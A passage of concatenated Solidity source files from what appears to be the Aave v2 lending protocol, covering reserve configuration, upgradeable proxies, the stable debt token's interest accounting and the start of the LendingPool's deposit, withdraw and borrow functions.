pool.setConfiguration(asset, currentConfig.data);
emit ReserveUnfrozen(asset);
}
/**
* @dev Updates the reserve factor of a reserve
* @param asset The address of the underlying asset of the reserve
* @param reserveFactor The new reserve factor of the reserve
**/
function setReserveFactor(address asset, uint256 reserveFactor) external onlyPoolAdmin {
DataTypes.ReserveConfigurationMap memory currentConfig = pool.getConfiguration(asset);
currentConfig.setReserveFactor(reserveFactor);
pool.setConfiguration(asset, currentConfig.data);
emit ReserveFactorChanged(asset, reserveFactor);
}
/**
* @dev Sets the interest rate strategy of a reserve
* @param asset The address of the underlying asset of the reserve
* @param rateStrategyAddress The new address of the interest strategy contract
**/
function setReserveInterestRateStrategyAddress(address asset, address rateStrategyAddress)
external
onlyPoolAdmin
{
pool.setReserveInterestRateStrategyAddress(asset, rateStrategyAddress);
emit ReserveInterestRateStrategyChanged(asset, rateStrategyAddress);
}
/**
* @dev pauses or unpauses all the actions of the protocol, including aToken transfers
* @param val true if protocol needs to be paused, false otherwise
**/
function setPoolPause(bool val) external onlyEmergencyAdmin {
pool.setPause(val);
}
function _initTokenWithProxy(address implementation, bytes memory initParams)
internal
returns (address)
{
InitializableImmutableAdminUpgradeabilityProxy proxy =
new InitializableImmutableAdminUpgradeabilityProxy(address(this));
proxy.initialize(implementation, initParams);
return address(proxy);
}
function _upgradeTokenImplementation(
address proxyAddress,
address implementation,
bytes memory initParams
) internal {
InitializableImmutableAdminUpgradeabilityProxy proxy =
InitializableImmutableAdminUpgradeabilityProxy(payable(proxyAddress));
proxy.upgradeToAndCall(implementation, initParams);
}
function _checkNoLiquidity(address asset) internal view {
DataTypes.ReserveData memory reserveData = pool.getReserveData(asset);
uint256 availableLiquidity = IERC20Detailed(asset).balanceOf(reserveData.aTokenAddress);
require(
availableLiquidity == 0 && reserveData.currentLiquidityRate == 0,
Errors.LPC_RESERVE_LIQUIDITY_NOT_0
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseImmutableAdminUpgradeabilityProxy.sol';
import '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol';
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends BaseAdminUpgradeabilityProxy with an initializer function
*/
contract InitializableImmutableAdminUpgradeabilityProxy is
BaseImmutableAdminUpgradeabilityProxy,
InitializableUpgradeabilityProxy
{
constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) {
BaseImmutableAdminUpgradeabilityProxy._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
interface ILendingPoolConfigurator {
struct InitReserveInput {
address aTokenImpl;
address stableDebtTokenImpl;
address variableDebtTokenImpl;
uint8 underlyingAssetDecimals;
address interestRateStrategyAddress;
address underlyingAsset;
address treasury;
address incentivesController;
string underlyingAssetName;
string aTokenName;
string aTokenSymbol;
string variableDebtTokenName;
string variableDebtTokenSymbol;
string stableDebtTokenName;
string stableDebtTokenSymbol;
bytes params;
}
struct UpdateATokenInput {
address asset;
address treasury;
address incentivesController;
string name;
string symbol;
address implementation;
bytes params;
}
struct UpdateDebtTokenInput {
address asset;
address incentivesController;
string name;
string symbol;
address implementation;
bytes params;
}
/**
* @dev Emitted when a reserve is initialized.
* @param asset The address of the underlying asset of the reserve
* @param aToken The address of the associated aToken contract
* @param stableDebtToken The address of the associated stable rate debt token
* @param variableDebtToken The address of the associated variable rate debt token
* @param interestRateStrategyAddress The address of the interest rate strategy for the reserve
**/
event ReserveInitialized(
address indexed asset,
address indexed aToken,
address stableDebtToken,
address variableDebtToken,
address interestRateStrategyAddress
);
/**
* @dev Emitted when borrowing is enabled on a reserve
* @param asset The address of the underlying asset of the reserve
* @param stableRateEnabled True if stable rate borrowing is enabled, false otherwise
**/
event BorrowingEnabledOnReserve(address indexed asset, bool stableRateEnabled);
/**
* @dev Emitted when borrowing is disabled on a reserve
* @param asset The address of the underlying asset of the reserve
**/
event BorrowingDisabledOnReserve(address indexed asset);
/**
* @dev Emitted when the collateralization risk parameters for the specified asset are updated.
* @param asset The address of the underlying asset of the reserve
* @param ltv The loan to value of the asset when used as collateral
* @param liquidationThreshold The threshold at which loans using this asset as collateral will be considered undercollateralized
* @param liquidationBonus The bonus liquidators receive to liquidate this asset
**/
event CollateralConfigurationChanged(
address indexed asset,
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus
);
/**
* @dev Emitted when stable rate borrowing is enabled on a reserve
* @param asset The address of the underlying asset of the reserve
**/
event StableRateEnabledOnReserve(address indexed asset);
/**
* @dev Emitted when stable rate borrowing is disabled on a reserve
* @param asset The address of the underlying asset of the reserve
**/
event StableRateDisabledOnReserve(address indexed asset);
/**
* @dev Emitted when a reserve is activated
* @param asset The address of the underlying asset of the reserve
**/
event ReserveActivated(address indexed asset);
/**
* @dev Emitted when a reserve is deactivated
* @param asset The address of the underlying asset of the reserve
**/
event ReserveDeactivated(address indexed asset);
/**
* @dev Emitted when a reserve is frozen
* @param asset The address of the underlying asset of the reserve
**/
event ReserveFrozen(address indexed asset);
/**
* @dev Emitted when a reserve is unfrozen
* @param asset The address of the underlying asset of the reserve
**/
event ReserveUnfrozen(address indexed asset);
/**
* @dev Emitted when a reserve factor is updated
* @param asset The address of the underlying asset of the reserve
* @param factor The new reserve factor
**/
event ReserveFactorChanged(address indexed asset, uint256 factor);
/**
* @dev Emitted when the reserve decimals are updated
* @param asset The address of the underlying asset of the reserve
* @param decimals The new decimals
**/
event ReserveDecimalsChanged(address indexed asset, uint256 decimals);
/**
* @dev Emitted when a reserve interest strategy contract is updated
* @param asset The address of the underlying asset of the reserve
* @param strategy The new address of the interest strategy contract
**/
event ReserveInterestRateStrategyChanged(address indexed asset, address strategy);
/**
* @dev Emitted when an aToken implementation is upgraded
* @param asset The address of the underlying asset of the reserve
* @param proxy The aToken proxy address
* @param implementation The new aToken implementation
**/
event ATokenUpgraded(
address indexed asset,
address indexed proxy,
address indexed implementation
);
/**
* @dev Emitted when the implementation of a stable debt token is upgraded
* @param asset The address of the underlying asset of the reserve
* @param proxy The stable debt token proxy address
* @param implementation The new aToken implementation
**/
event StableDebtTokenUpgraded(
address indexed asset,
address indexed proxy,
address indexed implementation
);
/**
* @dev Emitted when the implementation of a variable debt token is upgraded
* @param asset The address of the underlying asset of the reserve
* @param proxy The variable debt token proxy address
* @param implementation The new aToken implementation
**/
event VariableDebtTokenUpgraded(
address indexed asset,
address indexed proxy,
address indexed implementation
);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol';
/**
* @title BaseImmutableAdminUpgradeabilityProxy
* @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks. The admin role is stored in an immutable, which
* helps saving transactions costs
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
address immutable ADMIN;
constructor(address admin) public {
ADMIN = admin;
}
modifier ifAdmin() {
if (msg.sender == ADMIN) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return ADMIN;
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseUpgradeabilityProxy.sol';
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './Proxy.sol';
import '../contracts/Address.sol';
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
'Cannot set a proxy implementation to a non-contract address'
);
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newImplementation)
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
//solium-disable-next-line
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {DebtTokenBase} from './base/DebtTokenBase.sol';
import {MathUtils} from '../libraries/math/MathUtils.sol';
import {WadRayMath} from '../libraries/math/WadRayMath.sol';
import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
/**
* @title StableDebtToken
* @notice Implements a stable debt token to track the borrowing positions of users
* at stable rate mode
* @author Aave
**/
contract StableDebtToken is IStableDebtToken, DebtTokenBase {
using WadRayMath for uint256;
uint256 public constant DEBT_TOKEN_REVISION = 0x1;
uint256 internal _avgStableRate;
mapping(address => uint40) internal _timestamps;
mapping(address => uint256) internal _usersStableRate;
uint40 internal _totalSupplyTimestamp;
ILendingPool internal _pool;
address internal _underlyingAsset;
IAaveIncentivesController internal _incentivesController;
/**
* @dev Initializes the debt token.
* @param pool The address of the lending pool where this aToken will be used
* @param underlyingAsset The address of the underlying asset of this aToken (E.g. WETH for aWETH)
* @param incentivesController The smart contract managing potential incentives distribution
* @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's
* @param debtTokenName The name of the token
* @param debtTokenSymbol The symbol of the token
*/
function initialize(
ILendingPool pool,
address underlyingAsset,
IAaveIncentivesController incentivesController,
uint8 debtTokenDecimals,
string memory debtTokenName,
string memory debtTokenSymbol,
bytes calldata params
) public override initializer {
_setName(debtTokenName);
_setSymbol(debtTokenSymbol);
_setDecimals(debtTokenDecimals);
_pool = pool;
_underlyingAsset = underlyingAsset;
_incentivesController = incentivesController;
emit Initialized(
underlyingAsset,
address(pool),
address(incentivesController),
debtTokenDecimals,
debtTokenName,
debtTokenSymbol,
params
);
}
/**
* @dev Gets the revision of the stable debt token implementation
* @return The debt token implementation revision
**/
function getRevision() internal pure virtual override returns (uint256) {
return DEBT_TOKEN_REVISION;
}
/**
* @dev Returns the average stable rate across all the stable rate debt
* @return the average stable rate
**/
function getAverageStableRate() external view virtual override returns (uint256) {
return _avgStableRate;
}
/**
* @dev Returns the timestamp of the last user action
* @return The last update timestamp
**/
function getUserLastUpdated(address user) external view virtual override returns (uint40) {
return _timestamps[user];
}
/**
* @dev Returns the stable rate of the user
* @param user The address of the user
* @return The stable rate of user
**/
function getUserStableRate(address user) external view virtual override returns (uint256) {
return _usersStableRate[user];
}
/**
* @dev Calculates the current user debt balance
* @return The accumulated debt of the user
**/
function balanceOf(address account) public view virtual override returns (uint256) {
uint256 accountBalance = super.balanceOf(account);
uint256 stableRate = _usersStableRate[account];
if (accountBalance == 0) {
return 0;
}
uint256 cumulatedInterest =
MathUtils.calculateCompoundedInterest(stableRate, _timestamps[account]);
return accountBalance.rayMul(cumulatedInterest);
}
struct MintLocalVars {
uint256 previousSupply;
uint256 nextSupply;
uint256 amountInRay;
uint256 newStableRate;
uint256 currentAvgStableRate;
}
/**
* @dev Mints debt token to the `onBehalfOf` address.
* - Only callable by the LendingPool
* - The resulting rate is the weighted average between the rate of the new debt
* and the rate of the previous debt
* @param user The address receiving the borrowed underlying, being the delegatee in case
* of credit delegate, or same as `onBehalfOf` otherwise
* @param onBehalfOf The address receiving the debt tokens
* @param amount The amount of debt tokens to mint
* @param rate The rate of the debt being minted
**/
function mint(
address user,
address onBehalfOf,
uint256 amount,
uint256 rate
) external override onlyLendingPool returns (bool) {
MintLocalVars memory vars;
if (user != onBehalfOf) {
_decreaseBorrowAllowance(onBehalfOf, user, amount);
}
(, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf);
vars.previousSupply = totalSupply();
vars.currentAvgStableRate = _avgStableRate;
vars.nextSupply = _totalSupply = vars.previousSupply.add(amount);
vars.amountInRay = amount.wadToRay();
vars.newStableRate = _usersStableRate[onBehalfOf]
.rayMul(currentBalance.wadToRay())
.add(vars.amountInRay.rayMul(rate))
.rayDiv(currentBalance.add(amount).wadToRay());
require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW);
_usersStableRate[onBehalfOf] = vars.newStableRate;
//solium-disable-next-line
_totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp);
// Calculates the updated average stable rate
vars.currentAvgStableRate = _avgStableRate = vars
.currentAvgStableRate
.rayMul(vars.previousSupply.wadToRay())
.add(rate.rayMul(vars.amountInRay))
.rayDiv(vars.nextSupply.wadToRay());
_mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply);
emit Transfer(address(0), onBehalfOf, amount);
emit Mint(
user,
onBehalfOf,
amount,
currentBalance,
balanceIncrease,
vars.newStableRate,
vars.currentAvgStableRate,
vars.nextSupply
);
return currentBalance == 0;
}
/**
* @dev Burns debt of `user`
* @param user The address of the user getting his debt burned
* @param amount The amount of debt tokens getting burned
**/
function burn(address user, uint256 amount) external override onlyLendingPool {
(, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user);
uint256 previousSupply = totalSupply();
uint256 newAvgStableRate = 0;
uint256 nextSupply = 0;
uint256 userStableRate = _usersStableRate[user];
// Since the total supply and each single user debt accrue separately,
// there might be accumulation errors so that the last borrower repaying
// mght actually try to repay more than the available debt supply.
// In this case we simply set the total supply and the avg stable rate to 0
if (previousSupply <= amount) {
_avgStableRate = 0;
_totalSupply = 0;
} else {
nextSupply = _totalSupply = previousSupply.sub(amount);
uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay());
uint256 secondTerm = userStableRate.rayMul(amount.wadToRay());
// For the same reason described above, when the last user is repaying it might
// happen that user rate * user balance > avg rate * total supply. In that case,
// we simply set the avg rate to 0
if (secondTerm >= firstTerm) {
newAvgStableRate = _avgStableRate = _totalSupply = 0;
} else {
newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay());
}
}
if (amount == currentBalance) {
_usersStableRate[user] = 0;
_timestamps[user] = 0;
} else {
//solium-disable-next-line
_timestamps[user] = uint40(block.timestamp);
}
//solium-disable-next-line
_totalSupplyTimestamp = uint40(block.timestamp);
if (balanceIncrease > amount) {
uint256 amountToMint = balanceIncrease.sub(amount);
_mint(user, amountToMint, previousSupply);
emit Mint(
user,
user,
amountToMint,
currentBalance,
balanceIncrease,
userStableRate,
newAvgStableRate,
nextSupply
);
} else {
uint256 amountToBurn = amount.sub(balanceIncrease);
_burn(user, amountToBurn, previousSupply);
emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply);
}
emit Transfer(user, address(0), amount);
}
/**
* @dev Calculates the increase in balance since the last user interaction
* @param user The address of the user for which the interest is being accumulated
* @return The previous principal balance, the new principal balance and the balance increase
**/
function _calculateBalanceIncrease(address user)
internal
view
returns (
uint256,
uint256,
uint256
)
{
uint256 previousPrincipalBalance = super.balanceOf(user);
if (previousPrincipalBalance == 0) {
return (0, 0, 0);
}
// Calculation of the accrued interest since the last accumulation
uint256 balanceIncrease = balanceOf(user).sub(previousPrincipalBalance);
return (
previousPrincipalBalance,
previousPrincipalBalance.add(balanceIncrease),
balanceIncrease
);
}
/**
* @dev Returns the principal and total supply, the average borrow rate and the last supply update timestamp
**/
function getSupplyData()
public
view
override
returns (
uint256,
uint256,
uint256,
uint40
)
{
uint256 avgRate = _avgStableRate;
return (super.totalSupply(), _calcTotalSupply(avgRate), avgRate, _totalSupplyTimestamp);
}
/**
* @dev Returns the the total supply and the average stable rate
**/
function getTotalSupplyAndAvgRate() public view override returns (uint256, uint256) {
uint256 avgRate = _avgStableRate;
return (_calcTotalSupply(avgRate), avgRate);
}
/**
* @dev Returns the total supply
**/
function totalSupply() public view override returns (uint256) {
return _calcTotalSupply(_avgStableRate);
}
/**
* @dev Returns the timestamp at which the total supply was updated
**/
function getTotalSupplyLastUpdated() public view override returns (uint40) {
return _totalSupplyTimestamp;
}
/**
* @dev Returns the principal debt balance of the user from
* @param user The user's address
* @return The debt balance of the user since the last burn/mint action
**/
function principalBalanceOf(address user) external view virtual override returns (uint256) {
return super.balanceOf(user);
}
/**
* @dev Returns the address of the underlying asset of this aToken (E.g. WETH for aWETH)
**/
function UNDERLYING_ASSET_ADDRESS() public view returns (address) {
return _underlyingAsset;
}
/**
* @dev Returns the address of the lending pool where this aToken is used
**/
function POOL() public view returns (ILendingPool) {
return _pool;
}
/**
* @dev Returns the address of the incentives controller contract
**/
function getIncentivesController() external view override returns (IAaveIncentivesController) {
return _getIncentivesController();
}
/**
* @dev For internal usage in the logic of the parent contracts
**/
function _getIncentivesController() internal view override returns (IAaveIncentivesController) {
return _incentivesController;
}
/**
* @dev For internal usage in the logic of the parent contracts
**/
function _getUnderlyingAssetAddress() internal view override returns (address) {
return _underlyingAsset;
}
/**
* @dev For internal usage in the logic of the parent contracts
**/
function _getLendingPool() internal view override returns (ILendingPool) {
return _pool;
}
/**
* @dev Calculates the total supply
* @param avgRate The average rate at which the total supply increases
* @return The debt balance of the user since the last burn/mint action
**/
function _calcTotalSupply(uint256 avgRate) internal view virtual returns (uint256) {
uint256 principalSupply = super.totalSupply();
if (principalSupply == 0) {
return 0;
}
uint256 cumulatedInterest =
MathUtils.calculateCompoundedInterest(avgRate, _totalSupplyTimestamp);
return principalSupply.rayMul(cumulatedInterest);
}
/**
* @dev Mints stable debt tokens to an user
* @param account The account receiving the debt tokens
* @param amount The amount being minted
* @param oldTotalSupply the total supply before the minting event
**/
function _mint(
address account,
uint256 amount,
uint256 oldTotalSupply
) internal {
uint256 oldAccountBalance = _balances[account];
_balances[account] = oldAccountBalance.add(amount);
if (address(_incentivesController) != address(0)) {
_incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance);
}
}
/**
* @dev Burns stable debt tokens of an user
* @param account The user getting his debt burned
* @param amount The amount being burned
* @param oldTotalSupply The total supply before the burning event
**/
function _burn(
address account,
uint256 amount,
uint256 oldTotalSupply
) internal {
uint256 oldAccountBalance = _balances[account];
_balances[account] = oldAccountBalance.sub(amount, Errors.SDT_BURN_EXCEEDS_BALANCE);
if (address(_incentivesController) != address(0)) {
_incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance);
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {StableDebtToken} from '../../protocol/tokenization/StableDebtToken.sol';
contract MockStableDebtToken is StableDebtToken {
function getRevision() internal pure override returns (uint256) {
return 0x2;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol';
import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {Address} from '../../dependencies/openzeppelin/contracts/Address.sol';
import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol';
import {IAToken} from '../../interfaces/IAToken.sol';
import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol';
import {IFlashLoanReceiver} from '../../flashloan/interfaces/IFlashLoanReceiver.sol';
import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol';
import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol';
import {ILendingPool} from '../../interfaces/ILendingPool.sol';
import {VersionedInitializable} from '../libraries/aave-upgradeability/VersionedInitializable.sol';
import {Helpers} from '../libraries/helpers/Helpers.sol';
import {Errors} from '../libraries/helpers/Errors.sol';
import {WadRayMath} from '../libraries/math/WadRayMath.sol';
import {PercentageMath} from '../libraries/math/PercentageMath.sol';
import {ReserveLogic} from '../libraries/logic/ReserveLogic.sol';
import {GenericLogic} from '../libraries/logic/GenericLogic.sol';
import {ValidationLogic} from '../libraries/logic/ValidationLogic.sol';
import {ReserveConfiguration} from '../libraries/configuration/ReserveConfiguration.sol';
import {UserConfiguration} from '../libraries/configuration/UserConfiguration.sol';
import {DataTypes} from '../libraries/types/DataTypes.sol';
import {LendingPoolStorage} from './LendingPoolStorage.sol';
/**
* @title LendingPool contract
* @dev Main point of interaction with an Aave protocol's market
* - Users can:
* # Deposit
* # Withdraw
* # Borrow
* # Repay
* # Swap their loans between variable and stable rate
* # Enable/disable their deposits as collateral rebalance stable rate borrow positions
* # Liquidate positions
* # Execute Flash Loans
* - To be covered by a proxy contract, owned by the LendingPoolAddressesProvider of the specific market
* - All admin functions are callable by the LendingPoolConfigurator contract defined also in the
* LendingPoolAddressesProvider
* @author Aave
**/
contract LendingPool is VersionedInitializable, ILendingPool, LendingPoolStorage {
using SafeMath for uint256;
using WadRayMath for uint256;
using PercentageMath for uint256;
using SafeERC20 for IERC20;
uint256 public constant LENDINGPOOL_REVISION = 0x2;
modifier whenNotPaused() {
_whenNotPaused();
_;
}
modifier onlyLendingPoolConfigurator() {
_onlyLendingPoolConfigurator();
_;
}
function _whenNotPaused() internal view {
require(!_paused, Errors.LP_IS_PAUSED);
}
function _onlyLendingPoolConfigurator() internal view {
require(
_addressesProvider.getLendingPoolConfigurator() == msg.sender,
Errors.LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR
);
}
function getRevision() internal pure override returns (uint256) {
return LENDINGPOOL_REVISION;
}
/**
* @dev Function is invoked by the proxy contract when the LendingPool contract is added to the
* LendingPoolAddressesProvider of the market.
* - Caching the address of the LendingPoolAddressesProvider in order to reduce gas consumption
* on subsequent operations
* @param provider The address of the LendingPoolAddressesProvider
**/
function initialize(ILendingPoolAddressesProvider provider) public initializer {
_addressesProvider = provider;
_maxStableRateBorrowSizePercent = 2500;
_flashLoanPremiumTotal = 9;
_maxNumberOfReserves = 128;
}
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external override whenNotPaused {
DataTypes.ReserveData storage reserve = _reserves[asset];
ValidationLogic.validateDeposit(reserve, amount);
address aToken = reserve.aTokenAddress;
reserve.updateState();
reserve.updateInterestRates(asset, aToken, amount, 0);
IERC20(asset).safeTransferFrom(msg.sender, aToken, amount);
bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex);
if (isFirstDeposit) {
_usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true);
emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf);
}
emit Deposit(asset, msg.sender, onBehalfOf, amount, referralCode);
}
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
* @return The final amount withdrawn
**/
function withdraw(
address asset,
uint256 amount,
address to
) external override whenNotPaused returns (uint256) {
DataTypes.ReserveData storage reserve = _reserves[asset];
address aToken = reserve.aTokenAddress;
uint256 userBalance = IAToken(aToken).balanceOf(msg.sender);
uint256 amountToWithdraw = amount;
if (amount == type(uint256).max) {
amountToWithdraw = userBalance;
}
ValidationLogic.validateWithdraw(
asset,
amountToWithdraw,
userBalance,
_reserves,
_usersConfig[msg.sender],
_reservesList,
_reservesCount,
_addressesProvider.getPriceOracle()
);
reserve.updateState();
reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw);
if (amountToWithdraw == userBalance) {
_usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false);
emit ReserveUsedAsCollateralDisabled(asset, msg.sender);
}
IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex);
emit Withdraw(asset, msg.sender, to, amountToWithdraw);
return amountToWithdraw;
}
/**
* @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
* already deposited enough collateral, or he was given enough allowance by a credit delegator on the
* corresponding debt token (StableDebtToken or VariableDebtToken)
* - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
* and 100 stable/variable debt tokens, depending on the `interestRateMode`
* @param asset The address of the underlying asset to borrow
* @param amount The amount to be borrowed
* @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
* @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself
* calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
* if he has been given credit delegation allowance
**/
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external override whenNotPaused {
DataTypes.ReserveData storage reserve = _reserves[asset];
_executeBorrow(
ExecuteBorrowParams(
asset,
msg.sender,
onBehalfOf,
amount,
interestRateMode,
reserve.aTokenAddress,
referralCode,
true
)
);
}
/**
* @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
* - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
